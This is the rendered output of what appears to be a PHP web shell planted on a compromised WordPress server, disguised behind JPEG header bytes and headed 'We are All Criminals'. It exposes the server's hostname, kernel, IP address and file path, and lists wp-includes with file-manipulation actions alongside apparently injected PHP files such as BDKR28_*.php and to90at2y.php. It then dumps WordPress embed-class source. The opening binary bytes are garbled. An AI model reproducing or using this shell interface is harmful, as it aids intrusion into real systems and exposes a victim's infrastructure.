JFIF ÿØÿà JFIF  H H ÿí 6Photoshop 3.0 8BIM g fDv40PON15YC57AbScWj ÿÛ C    $$$$$$$$$,,,,,,333339999999999ÿÛ C <)!)<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<ÿ ÀÀ" ÿÄ   ÿÄ  ÿÚ   i®~€4 R ¡*MòwM¾óùÿ ºß?‹äûG_êýNqæóz[šGg&7ύÛ¸Ò0C61lE*M1 2]$–Ø•¶Äæ•&†*HT2SJАm $d"hM°¦˜ 0 š4Å ¬r­4KJ&Ö[c(¢Èa Òj“F *¤ Š,¢hLM‰¦¾wßüGN³ö¾™ãë?c?-Ò¹kÁ2×&±.T–oÐiËÓ`č0"“)T°L!‰–ŠIL¤Ó‰ TÄ À„Ð*Mb¹a,b›A4Èm ’74¤ÚD¨„®DÆ*š@@ (¦Ð4²êRX€r£L*hh,C[€Lh Å5(˜ƒªBˆLi¡´!çz~e{?³æjrUW3¢a²÷cçy´Ììö~sß“ESH¤!€Æ€†ŒcHš`,¢4 CT†˜  `‰ªY±Ù DChSjvJb¡² 6$ܲÀh1¡-¨€ª%Z$b¦…¤¹j¤C dr¸ªBaM ‚˜±Ø£¯ç;¹¾ƒ¥~b½Ì»Â ªeŸgÇí³×b1LTС+0šE%AIÙ‰e´"’!„¶É¤Éw ÒN„ÅZ„ †„6@ÐÕ„'D°¶f´K™a%32”&¥B`©Q` cŠ€hY/:µIµ!CYc 44žsêókëy=ŽgÇ×dÊâ©1¹¡×“¨æ‘°…`JS¨t$ÍÌ0ªNYRÕQ,hd¶‰¤Àj8”©…T”¢J mÀ–ÐÓB‰R&´˜Ah†Ù ¡*!*B  &óLC -HטjÆÜÃ&¦4ÐÀ!‰€2|k‚ÏsƒÉƯ+±h¢/Nj©Ë|c»ØùÏ¢ªL’FMJ@®ATÐÊ›¦†Ô r:—@2i ÓRRh4 ‹ˆOÏ_cŸ”öŽ/±~}%üË>›Îòó=ç¨õû¾r¨¯Ø­´àÐìYt›f‘T‡7"N–&Ñ) (!’Z&É ¤Hņ\¼Š•Ë(˜&‚i‚lš)±b~Ëã—+™¦®.Âh¦ jJ• .!°¦lÀC•ÍŠ³ñÎÏžS BDKR28 - $H3LL
— We are All Criminals —
Linux mail2.itdevelopment.ro 4.18.0-553.76.1.el8_10.x86_64 #1 SMP Tue Sep 23 05:21:08 EDT 2025 x86_64
  INFO SERVER : Apache PHP : 8.3.25
/home/notariatiosep/public_html/public.html2/wp-includes/ | HOME
188.247.240.81

 
[ NAME ] [ SIZE ] [ PERM ] [ DATE ] [ ACTN ]
+FILE +DIR
ID3 dir drwxr-xr-x 2024-04-03 09:01 R D
IXR dir drwxr-xr-x 2023-12-20 14:50 R D
PHPMailer dir drwxr-xr-x 2023-12-20 14:50 R D
Requests dir drwxr-xr-x 2023-12-20 14:50 R D
SimplePie dir drwxr-xr-x 2024-11-13 23:23 R D
Text dir drwxr-xr-x 2024-11-13 23:23 R D
assets dir drwxr-xr-x 2024-11-13 23:23 R D
block-bindings dir drwxr-xr-x 2024-04-03 09:01 R D
block-patterns dir drwxr-xr-x 2023-12-20 14:50 R D
block-supports dir drwxr-xr-x 2025-04-16 03:44 R D
blocks dir drwxr-xr-x 2025-04-16 03:44 R D
certificates dir drwxr-xr-x 2023-12-20 14:50 R D
css dir drwxr-xr-x 2025-04-16 03:44 R D
customize dir drwxr-xr-x 2023-12-20 14:50 R D
fonts dir drwxr-xr-x 2024-04-03 09:01 R D
html-api dir drwxr-xr-x 2025-10-20 08:25 R D
images dir drwxr-xr-x 2023-12-20 14:50 R D
interactivity-api dir drwxr-xr-x 2024-04-03 09:01 R D
js dir drwxr-xr-x 2025-10-20 03:33 R D
l10n dir drwxr-xr-x 2024-04-03 09:01 R D
php-compat dir drwxr-xr-x 2023-12-20 14:50 R D
pomo dir drwxr-xr-x 2023-12-20 14:50 R D
rest-api dir drwxr-xr-x 2023-12-20 14:50 R D
sitemaps dir drwxr-xr-x 2023-12-20 14:50 R D
sodium_compat dir drwxr-xr-x 2023-12-20 14:50 R D
style-engine dir drwxr-xr-x 2023-12-20 14:50 R D
theme-compat dir drwxr-xr-x 2023-12-20 14:50 R D
widgets dir drwxr-xr-x 2023-12-20 14:50 R D
8zcezb0c.php 1.159 KB -rw-r--r-- 2025-10-20 07:15 R E G D
BDKR.txt 0.051 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_ejk3v9jf.php 23.183 KB -rw-r--r-- 2025-10-20 09:47 R E G D
BDKR28_stg4quzr.php 23.183 KB -rw-r--r-- 2025-10-20 07:15 R E G D
admin-bar.php 36.236 KB -rw-r--r-- 2025-05-01 03:43 R E G D
atomlib.php 11.795 KB -rw-r--r-- 2024-11-13 23:23 R E G D
block-i18n.json 0.309 KB -rw-r--r-- 2021-08-11 11:38 R E G D
block-patterns.php 12.903 KB -rw-r--r-- 2025-04-16 03:44 R E G D
block-template.php 14.996 KB -rw-r--r-- 2025-04-16 03:44 R E G D
blocks.php 110.401 KB -rw-r--r-- 2025-07-16 03:43 R E G D
bookmark-template.php 12.469 KB -rw-r--r-- 2025-04-16 03:44 R E G D
bookmark.php 15.065 KB -rw-r--r-- 2024-07-17 02:53 R E G D
cache-compat.php 5.829 KB -rw-r--r-- 2022-10-10 20:52 R E G D
cache.php 13.158 KB -rw-r--r-- 2022-10-10 20:52 R E G D
canonical.php 33.714 KB -rw-r--r-- 2024-11-13 23:23 R E G D
capabilities.php 41.717 KB -rw-r--r-- 2024-11-13 23:23 R E G D
category-template.php 55.667 KB -rw-r--r-- 2023-09-26 02:57 R E G D
category.php 12.528 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-IXR.php 2.555 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-avif-info.php 28.921 KB -rw-r--r-- 2024-05-08 02:55 R E G D
class-feed.php 0.526 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-http.php 0.358 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-json.php 42.66 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-oembed.php 0.392 KB -rw-r--r-- 2022-06-17 13:50 R E G D
class-phpass.php 6.612 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-phpmailer.php 0.648 KB -rw-r--r-- 2020-07-21 15:28 R E G D
class-requests.php 2.185 KB -rw-r--r-- 2023-04-05 15:42 R E G D
class-smtp.php 0.446 KB -rw-r--r-- 2021-01-26 17:15 R E G D
class-snoopy.php 36.831 KB -rw-r--r-- 2023-02-03 17:05 R E G D
class-walker-category.php 8.278 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-walker-comment.php 13.888 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-walker-nav-menu.php 11.762 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-walker-page.php 7.434 KB -rw-r--r-- 2023-09-14 15:16 R E G D
class-wp-admin-bar.php 17.455 KB -rw-r--r-- 2024-07-24 02:51 R E G D
class-wp-block-editor-context.php 1.318 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-parser-frame.php 1.97 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-pattern-categories-registry.php 5.245 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-block-patterns-registry.php 10.53 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-styles-registry.php 6.253 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-block-template.php 1.985 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-block-type-registry.php 4.896 KB -rw-r--r-- 2023-10-12 15:04 R E G D
class-wp-comment.php 9.216 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-manager.php 197.845 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-panel.php 10.459 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-customize-widgets.php 70.518 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-date-query.php 34.895 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-embed.php 15.558 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-error.php 7.326 KB -rw-r--r-- 2023-02-21 20:09 R E G D
class-wp-exception.php 0.247 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-fatal-error-handler.php 7.959 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-feed-cache.php 0.946 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-http-curl.php 12.247 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http-proxy.php 5.84 KB -rw-r--r-- 2023-06-22 17:06 R E G D
class-wp-http-requests-hooks.php 1.975 KB -rw-r--r-- 2022-12-16 01:02 R E G D
class-wp-http-requests-response.php 4.297 KB -rw-r--r-- 2023-10-11 09:35 R E G D
class-wp-http-response.php 2.907 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-http-streams.php 16.464 KB -rw-r--r-- 2023-09-21 20:59 R E G D
class-wp-http.php 40.604 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-gd.php 19.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor-imagick.php 33.921 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-image-editor.php 17.116 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-meta-query.php 29.815 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-metadata-lazyloader.php 6.673 KB -rw-r--r-- 2023-05-11 13:45 R E G D
class-wp-navigation-fallback.php 8.995 KB -rw-r--r-- 2023-10-06 16:36 R E G D
class-wp-object-cache.php 17.113 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-oembed-controller.php 6.743 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-oembed.php 30.865 KB -rw-r--r-- 2025-07-16 03:43 R E G D
class-wp-phpmailer.php 3.713 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-plugin-dependencies.php 24.722 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-query.php 154.319 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-recovery-mode-cookie-service.php 6.716 KB -rw-r--r-- 2022-10-04 06:29 R E G D
class-wp-recovery-mode-link-service.php 3.382 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-rewrite.php 62.195 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-role.php 2.464 KB -rw-r--r-- 2023-09-08 12:02 R E G D
class-wp-script-modules.php 19.007 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-site.php 7.279 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-styles.php 10.752 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-tax-query.php 19.097 KB -rw-r--r-- 2024-04-03 09:01 R E G D
class-wp-term-query.php 39.911 KB -rw-r--r-- 2024-11-13 23:23 R E G D
class-wp-term.php 5.174 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-theme-json-data.php 1.767 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json-schema.php 7.194 KB -rw-r--r-- 2024-07-17 02:53 R E G D
class-wp-theme-json.php 159.712 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-url-pattern-prefixer.php 4.689 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-query.php 42.632 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user-request.php 2.251 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-user.php 22.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-widget-factory.php 3.269 KB -rw-r--r-- 2022-09-12 18:17 R E G D
class-wp-widget.php 17.997 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp-xmlrpc-server.php 210.395 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wp.php 28.639 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class-wpdb.php 115.512 KB -rw-r--r-- 2025-04-16 03:44 R E G D
class.wp-styles.php 0.33 KB -rw-r--r-- 2022-09-20 16:47 R E G D
comment-template.php 100.688 KB -rw-r--r-- 2025-07-16 03:43 R E G D
comment.php 128.464 KB -rw-r--r-- 2025-04-16 03:44 R E G D
compat.php 15.992 KB -rw-r--r-- 2025-04-16 03:44 R E G D
cron.php 41.658 KB -rw-r--r-- 2025-04-16 03:44 R E G D
date.php 0.391 KB -rw-r--r-- 2022-06-17 13:50 R E G D
default-constants.php 11.099 KB -rw-r--r-- 2024-11-13 23:23 R E G D
default-filters.php 35.837 KB -rw-r--r-- 2025-04-16 03:44 R E G D
default-widgets.php 2.241 KB -rw-r--r-- 2025-04-16 03:44 R E G D
deprecated.php 187.073 KB -rw-r--r-- 2025-04-16 03:44 R E G D
embed-template.php 0.33 KB -rw-r--r-- 2022-06-17 13:50 R E G D
embed.php 37.277 KB -rw-r--r-- 2025-04-16 03:44 R E G D
error-protection.php 4.024 KB -rw-r--r-- 2023-05-02 18:15 R E G D
feed-atom.php 3.048 KB -rw-r--r-- 2025-04-16 03:44 R E G D
feed-rdf.php 2.605 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss.php 1.161 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed-rss2.php 3.71 KB -rw-r--r-- 2020-01-29 04:15 R E G D
feed.php 22.862 KB -rw-r--r-- 2024-11-13 23:23 R E G D
fonts.php 9.522 KB -rw-r--r-- 2024-11-13 23:23 R E G D
formatting.php 334.884 KB -rw-r--r-- 2025-07-16 03:43 R E G D
functions.php 283.744 KB -rw-r--r-- 2025-04-16 03:44 R E G D
functions.wp-styles.php 8.382 KB -rw-r--r-- 2024-07-17 02:53 R E G D
general-template.php 168.455 KB -rw-r--r-- 2025-04-16 03:44 R E G D
github_manz.php 2.289 KB -rw-r--r-- 2025-10-20 08:25 R E G D
global-styles-and-settings.php 20.763 KB -rw-r--r-- 2025-04-16 03:44 R E G D
http.php 24.719 KB -rw-r--r-- 2024-11-13 23:23 R E G D
https-detection.php 5.72 KB -rw-r--r-- 2025-04-16 03:44 R E G D
https-migration.php 4.63 KB -rw-r--r-- 2023-07-11 01:08 R E G D
kses.php 72.727 KB -rw-r--r-- 2025-04-16 03:44 R E G D
l10n.php 66.924 KB -rw-r--r-- 2025-04-16 03:44 R E G D
link-template.php 154.103 KB -rw-r--r-- 2025-04-16 03:44 R E G D
llex.php 78.586 KB -rw-r--r-- 2025-10-20 03:33 R E G D
load.php 55.117 KB -rw-r--r-- 2025-04-16 03:44 R E G D
locale.php 0.158 KB -rw-r--r-- 2019-10-08 19:49 R E G D
media.php 215.328 KB -rw-r--r-- 2025-07-16 03:43 R E G D
meta.php 63.714 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-blogs.php 25.239 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-default-filters.php 6.48 KB -rw-r--r-- 2023-02-24 04:53 R E G D
ms-deprecated.php 21.249 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-files.php 2.68 KB -rw-r--r-- 2025-05-01 03:43 R E G D
ms-functions.php 89.436 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-load.php 19.417 KB -rw-r--r-- 2024-07-17 02:53 R E G D
ms-settings.php 4.099 KB -rw-r--r-- 2025-04-16 03:44 R E G D
ms-site.php 40.352 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu-template.php 25.381 KB -rw-r--r-- 2025-04-16 03:44 R E G D
nav-menu.php 43.333 KB -rw-r--r-- 2024-11-13 23:23 R E G D
option.php 100.649 KB -rw-r--r-- 2025-04-16 03:44 R E G D
pluggable-deprecated.php 6.176 KB -rw-r--r-- 2025-04-16 03:44 R E G D
plugin.php 34.634 KB -rw-r--r-- 2023-06-08 10:24 R E G D
post-formats.php 6.936 KB -rw-r--r-- 2024-07-17 02:53 R E G D
post-template.php 67.039 KB -rw-r--r-- 2025-04-16 03:44 R E G D
post.php 284.875 KB -rw-r--r-- 2025-04-16 03:44 R E G D
query.php 36.167 KB -rw-r--r-- 2023-08-24 11:31 R E G D
registration-functions.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
registration.php 0.195 KB -rw-r--r-- 2020-11-12 14:47 R E G D
rest-api.php 97.907 KB -rw-r--r-- 2025-04-16 03:44 R E G D
revision.php 30.021 KB -rw-r--r-- 2025-04-16 03:44 R E G D
rewrite.php 19.083 KB -rw-r--r-- 2024-11-13 23:23 R E G D
robots-template.php 5.063 KB -rw-r--r-- 2022-04-06 18:03 R E G D
rss-functions.php 0.249 KB -rw-r--r-- 2020-11-17 02:22 R E G D
rss.php 22.571 KB -rw-r--r-- 2024-11-13 23:23 R E G D
script-loader.php 130.139 KB -rw-r--r-- 2025-05-01 03:43 R E G D
session.php 0.252 KB -rw-r--r-- 2020-02-06 10:03 R E G D
sitemaps.php 3.162 KB -rw-r--r-- 2021-05-15 20:08 R E G D
speculative-loading.php 8.357 KB -rw-r--r-- 2025-04-16 03:44 R E G D
spl-autoload-compat.php 0.431 KB -rw-r--r-- 2020-11-12 14:47 R E G D
taxonomy.php 172.097 KB -rw-r--r-- 2025-04-16 03:44 R E G D
template-canvas.php 0.531 KB -rw-r--r-- 2023-10-01 02:52 R E G D
template-loader.php 5.894 KB -rw-r--r-- 2020-05-26 12:07 R E G D
template.php 23.588 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme-i18n.json 1.49 KB -rw-r--r-- 2025-04-16 03:44 R E G D
theme-previews.php 2.766 KB -rw-r--r-- 2024-04-03 09:01 R E G D
theme.json 8.5 KB -rw-r--r-- 2024-07-17 02:53 R E G D
theme.php 131.155 KB -rw-r--r-- 2025-04-16 03:44 R E G D
to90at2y.php 1.159 KB -rw-r--r-- 2025-10-20 09:47 R E G D
update.php 36.624 KB -rw-r--r-- 2025-04-16 03:44 R E G D
user.php 171.702 KB -rw-r--r-- 2025-04-16 03:44 R E G D
vars.php 6.408 KB -rw-r--r-- 2025-04-16 03:44 R E G D
version.php 1.064 KB -rw-r--r-- 2025-10-01 03:44 R E G D
widgets.php 69.062 KB -rw-r--r-- 2025-04-16 03:44 R E G D
wp-db.php 0.435 KB -rw-r--r-- 2022-07-22 01:15 R E G D
wp-diff.php 0.78 KB -rw-r--r-- 2025-04-16 03:44 R E G D
REQUEST EXIT
handlers[ $priority ][ $id ] = array( 'regex' => $regex, 'callback' => $callback, ); } /** * Unregisters a previously-registered embed handler. * * Do not use this function directly, use wp_embed_unregister_handler() instead. * * @param string $id The handler ID that should be removed. * @param int $priority Optional. The priority of the handler to be removed (default: 10). */ public function unregister_handler( $id, $priority = 10 ) { unset( $this->handlers[ $priority ][ $id ] ); } /** * Returns embed HTML for a given URL from embed handlers. * * Attempts to convert a URL into embed HTML by checking the URL * against the regex of the registered embed handlers. * * @since 5.5.0 * * @param array $attr { * Shortcode attributes. Optional. * * @type int $width Width of the embed in pixels. * @type int $height Height of the embed in pixels. * } * @param string $url The URL attempting to be embedded. * @return string|false The embed HTML on success, false otherwise. */ public function get_embed_handler_html( $attr, $url ) { $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults( $url ) ); ksort( $this->handlers ); foreach ( $this->handlers as $priority => $handlers ) { foreach ( $handlers as $id => $handler ) { if ( preg_match( $handler['regex'], $url, $matches ) && is_callable( $handler['callback'] ) ) { $return = call_user_func( $handler['callback'], $matches, $attr, $url, $rawattr ); if ( false !== $return ) { /** * Filters the returned embed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string $return The HTML result of the shortcode. * @param string $url The embed URL. * @param array $attr An array of shortcode attributes. */ return apply_filters( 'embed_handler_html', $return, $url, $attr ); } } } } return false; } /** * The do_shortcode() callback function. * * Attempts to convert a URL into embed HTML. Starts by checking the URL against the regex of * the registered embed handlers. If none of the regex matches and it's enabled, then the URL * will be given to the WP_oEmbed class. * * @param array $attr { * Shortcode attributes. Optional. * * @type int $width Width of the embed in pixels. * @type int $height Height of the embed in pixels. * } * @param string $url The URL attempting to be embedded. * @return string|false The embed HTML on success, otherwise the original URL. * `->maybe_make_link()` can return false on failure. */ public function shortcode( $attr, $url = '' ) { $post = get_post(); if ( empty( $url ) && ! empty( $attr['src'] ) ) { $url = $attr['src']; } $this->last_url = $url; if ( empty( $url ) ) { $this->last_attr = $attr; return ''; } $rawattr = $attr; $attr = wp_parse_args( $attr, wp_embed_defaults( $url ) ); $this->last_attr = $attr; /* * KSES converts & into & and we need to undo this. * See https://core.trac.wordpress.org/ticket/11311 */ $url = str_replace( '&', '&', $url ); // Look for known internal handlers. $embed_handler_html = $this->get_embed_handler_html( $rawattr, $url ); if ( false !== $embed_handler_html ) { return $embed_handler_html; } $post_id = ( ! empty( $post->ID ) ) ? $post->ID : null; // Potentially set by WP_Embed::cache_oembed(). if ( ! empty( $this->post_ID ) ) { $post_id = $this->post_ID; } // Check for a cached result (stored as custom post or in the post meta). $key_suffix = md5( $url . serialize( $attr ) ); $cachekey = '_oembed_' . $key_suffix; $cachekey_time = '_oembed_time_' . $key_suffix; /** * Filters the oEmbed TTL value (time to live). * * @since 4.0.0 * * @param int $time Time to live (in seconds). * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_id Post ID. */ $ttl = apply_filters( 'oembed_ttl', DAY_IN_SECONDS, $url, $attr, $post_id ); $cache = ''; $cache_time = 0; $cached_post_id = $this->find_oembed_post_id( $key_suffix ); if ( $post_id ) { $cache = get_post_meta( $post_id, $cachekey, true ); $cache_time = get_post_meta( $post_id, $cachekey_time, true ); if ( ! $cache_time ) { $cache_time = 0; } } elseif ( $cached_post_id ) { $cached_post = get_post( $cached_post_id ); $cache = $cached_post->post_content; $cache_time = strtotime( $cached_post->post_modified_gmt ); } $cached_recently = ( time() - $cache_time ) < $ttl; if ( $this->usecache || $cached_recently ) { // Failures are cached. Serve one if we're using the cache. if ( '{{unknown}}' === $cache ) { return $this->maybe_make_link( $url ); } if ( ! empty( $cache ) ) { /** * Filters the cached oEmbed HTML. * * @since 2.9.0 * * @see WP_Embed::shortcode() * * @param string $cache The cached HTML result, stored in post meta. * @param string $url The attempted embed URL. * @param array $attr An array of shortcode attributes. * @param int $post_id Post ID. */ return apply_filters( 'embed_oembed_html', $cache, $url, $attr, $post_id ); } } /** * Filters whether to inspect the given URL for discoverable link tags. * * @since 2.9.0 * @since 4.4.0 The default value changed to true. * * @see WP_oEmbed::discover() * * @param bool $enable Whether to enable `` tag discovery. Default true. */ $attr['discover'] = apply_filters( 'embed_oembed_discover', true ); // Use oEmbed to get the HTML. $html = wp_oembed_get( $url, $attr ); if ( $post_id ) { if ( $html ) { update_post_meta( $post_id, $cachekey, $html ); update_post_meta( $post_id, $cachekey_time, time() ); } elseif ( ! $cache ) { update_post_meta( $post_id, $cachekey, '{{unknown}}' ); } } else { $has_kses = false !== has_filter( 'content_save_pre', 'wp_filter_post_kses' ); if ( $has_kses ) { // Prevent KSES from corrupting JSON in post_content. kses_remove_filters(); } $insert_post_args = array( 'post_name' => $key_suffix, 'post_status' => 'publish', 'post_type' => 'oembed_cache', ); if ( $html ) { if ( $cached_post_id ) { wp_update_post( wp_slash( array( 'ID' => $cached_post_id, 'post_content' => $html, ) ) ); } else { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => $html, ) ) ) ); } } elseif ( ! $cache ) { wp_insert_post( wp_slash( array_merge( $insert_post_args, array( 'post_content' => '{{unknown}}', ) ) ) ); } if ( $has_kses ) { kses_init_filters(); } } // If there was a result, return it. if ( $html ) { /** This filter is documented in wp-includes/class-wp-embed.php */ return apply_filters( 'embed_oembed_html', $html, $url, $attr, $post_id ); } // Still unknown. return $this->maybe_make_link( $url ); } /** * Deletes all oEmbed caches. Unused by core as of 4.0.0. * * @param int $post_id Post ID to delete the caches for. */ public function delete_oembed_caches( $post_id ) { $post_metas = get_post_custom_keys( $post_id ); if ( empty( $post_metas ) ) { return; } foreach ( $post_metas as $post_meta_key ) { if ( str_starts_with( $post_meta_key, '_oembed_' ) ) { delete_post_meta( $post_id, $post_meta_key ); } } } /** * Triggers a caching of all oEmbed results. * * @param int $post_id Post ID to do the caching for. */ public function cache_oembed( $post_id ) { $post = get_post( $post_id ); $post_types = get_post_types( array( 'show_ui' => true ) ); /** * Filters the array of post types to cache oEmbed results for. * * @since 2.9.0 * * @param string[] $post_types Array of post type names to cache oEmbed results for. Defaults to post types with `show_ui` set to true. */ $cache_oembed_types = apply_filters( 'embed_cache_oembed_types', $post_types ); if ( empty( $post->ID ) || ! in_array( $post->post_type, $cache_oembed_types, true ) ) { return; } // Trigger a caching. if ( ! empty( $post->post_content ) ) { $this->post_ID = $post->ID; $this->usecache = false; $content = $this->run_shortcode( $post->post_content ); $this->autoembed( $content ); $this->usecache = true; } } /** * Passes any unlinked URLs that are on their own line to WP_Embed::shortcode() for potential embedding. * * @see WP_Embed::autoembed_callback() * * @param string $content The content to be searched. * @return string Potentially modified $content. */ public function autoembed( $content ) { // Replace line breaks from all HTML elements with placeholders. $content = wp_replace_in_html_tags( $content, array( "\n" => '' ) ); if ( preg_match( '#(^|\s|>)https?://#i', $content ) ) { // Find URLs on their own line. $content = preg_replace_callback( '|^(\s*)(https?://[^\s<>"]+)(\s*)$|im', array( $this, 'autoembed_callback' ), $content ); // Find URLs in their own paragraph. $content = preg_replace_callback( '|(]*)?>\s*)(https?://[^\s<>"]+)(\s*<\/p>)|i', array( $this, 'autoembed_callback' ), $content ); } // Put the line breaks back. return str_replace( '', "\n", $content ); } /** * Callback function for WP_Embed::autoembed(). * * @param array $matches A regex match array. * @return string The embed HTML on success, otherwise the original URL. */ public function autoembed_callback( $matches ) { $oldval = $this->linkifunknown; $this->linkifunknown = false; $return = $this->shortcode( array(), $matches[2] ); $this->linkifunknown = $oldval; return $matches[1] . $return . $matches[3]; } /** * Conditionally makes a hyperlink based on an internal class variable. * * @param string $url URL to potentially be linked. * @return string|false Linked URL or the original URL. False if 'return_false_on_fail' is true. */ public function maybe_make_link( $url ) { if ( $this->return_false_on_fail ) { return false; } $output = ( $this->linkifunknown ) ? '' . esc_html( $url ) . '' : $url; /** * Filters the returned, maybe-linked embed URL. * * @since 2.9.0 * * @param string $output The linked or original URL. * @param string $url The original URL. */ return apply_filters( 'embed_maybe_make_link', $output, $url ); } /** * Finds the oEmbed cache post ID for a given cache key. * * @since 4.9.0 * * @param string $cache_key oEmbed cache key. * @return int|null Post ID on success, null on failure. */ public function find_oembed_post_id( $cache_key ) { $cache_group = 'oembed_cache_post'; $oembed_post_id = wp_cache_get( $cache_key, $cache_group ); if ( $oembed_post_id && 'oembed_cache' === get_post_type( $oembed_post_id ) ) { return $oembed_post_id; } $oembed_post_query = new WP_Query( array( 'post_type' => 'oembed_cache', 'post_status' => 'publish', 'name' => $cache_key, 'posts_per_page' => 1, 'no_found_rows' => true, 'cache_results' => true, 'update_post_meta_cache' => false, 'update_post_term_cache' => false, 'lazy_load_term_meta' => false, ) ); if ( ! empty( $oembed_post_query->posts ) ) { // Note: 'fields' => 'ids' is not being used in order to cache the post object as it will be needed. $oembed_post_id = $oembed_post_query->posts[0]->ID; wp_cache_set( $cache_key, $oembed_post_id, $cache_group ); return $oembed_post_id; } return null; } }